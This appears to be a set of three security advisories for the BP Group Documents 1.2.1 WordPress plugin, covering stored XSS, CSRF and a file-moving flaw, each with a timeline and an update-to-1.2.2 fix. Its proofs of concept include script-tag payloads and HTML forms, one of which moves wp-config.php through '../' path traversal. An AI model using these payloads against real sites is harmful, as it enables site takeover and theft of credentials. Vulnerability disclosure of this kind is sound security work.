1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 |
Details ================ Software: BP Group Documents Version: 1.2.1 Homepage: http://wordpress.org/plugins/bp-group-documents/ CVSS: 8 (High; AV:N/AC:L/Au:S/C:P/I:P/A:C) Description ================ Stored XSS vulnerability in BP Group Documents 1.2.1 Vulnerability ================ “Display name” and “Description” fields are not escaped, meaning any tags including script tags can be stored in them. Proof of concept ================ Go to the upload form, select a document to upload, set the “Display name” to “photograph of a cute puppy<scriptalert(‘xss’)</script” and set the “Description” to “this is an innocuous description<scriptalert(‘xss again’)</script”. Mitigations ================ Update to version 1.2.2. Timeline ================ 2013-09-26: Discovered 2013-09-30: Reported to plugins@wordpress.org 2013-10-04: Fix released (1.2.2) Discovered by: ================ Tom Adams Second one: https://security.dxw.com/advisories/csrf-vulnerability-in-bp-group-documents-1-2-1/ Details ================ Software: BP Group Documents Version: 1.2.1 Homepage: http://wordpress.org/plugins/bp-group-documents/ CVSS: 5 (Medium; AV:N/AC:L/Au:N/C:N/I:P/A:N) Description ================ CSRF vulnerability in BP Group Documents 1.2.1 Vulnerability ================ An unauthenticated user can cause a logged in user to edit the name and description of any existing group document. The fields are also vulnerable to XSS. Proof of concept ================ Assume we have a group with slug “x” and a group document with id 8: <form method="POST" action="https://wp.ayumu/groups/x/documents/" <input type="text" name="bp_group_documents_operation" value="edit" <input type="text" name="bp_group_documents_id" value="8" <input type="text" name="bp_group_documents_name" value="<scriptalert(1)</script" <input type="text" name="bp_group_documents_description" value="abc" <input type="submit" </form Mitigations ================ Update to version 1.2.2. Timeline ================ 2013-09-26: Discovered 2013-09-30: Reported to plugins@wordpress.org 2013-10-04: Fix released (1.2.2) Discovered by: ================ Tom Adams Third one: https://security.dxw.com/advisories/moving-any-file-php-user-has-access-to-in-bp-group-documents-1-2-1/ Details ================ Software: BP Group Documents Version: 1.2.1 Homepage: http://wordpress.org/plugins/bp-group-documents/ CVSS: 9 (High; AV:N/AC:L/Au:N/C:P/I:P/A:C) Description ================ Moving any file PHP user has access to in BP Group Documents 1.2.1 Vulnerability ================ An admin user (or anybody, since there is a CSRF vulnerability in this form) can move any file the PHP user has access to to a location inside the uploads directory. From the uploads directory, they are likely to be able to read the file. Proof of concept ================ As a logged in admin, visit a page containing this form and submit it (or add auto-submission, and cause a logged in admin to visit it): <form method="POST" action="http://localhost/wp-admin/options-general.php?page=bp-group-documents-settings" <input name="group" value="1" <input name="file" value="../../../../wp-config.php" <input type="submit" </form This will cause the wp-config.php file to be moved to a location within wp-content/uploads. In my case it was wp-content/uploads/group-documents/1/1380203685-……..wp-config.php. In this example I broke a WordPress installation, leaving the site wide open to another person to come in and do the “famous five minute install”. There may also be handy config files laying around that you could read by moving them to the web root. Mitigations ================ Update to version 1.2.2. Timeline ================ 2013-09-26: Discovered 2013-09-30: Reported to plugins@wordpress.org 2013-10-04: Fix released (1.2.2) Discovered by: ================ Tom Adams |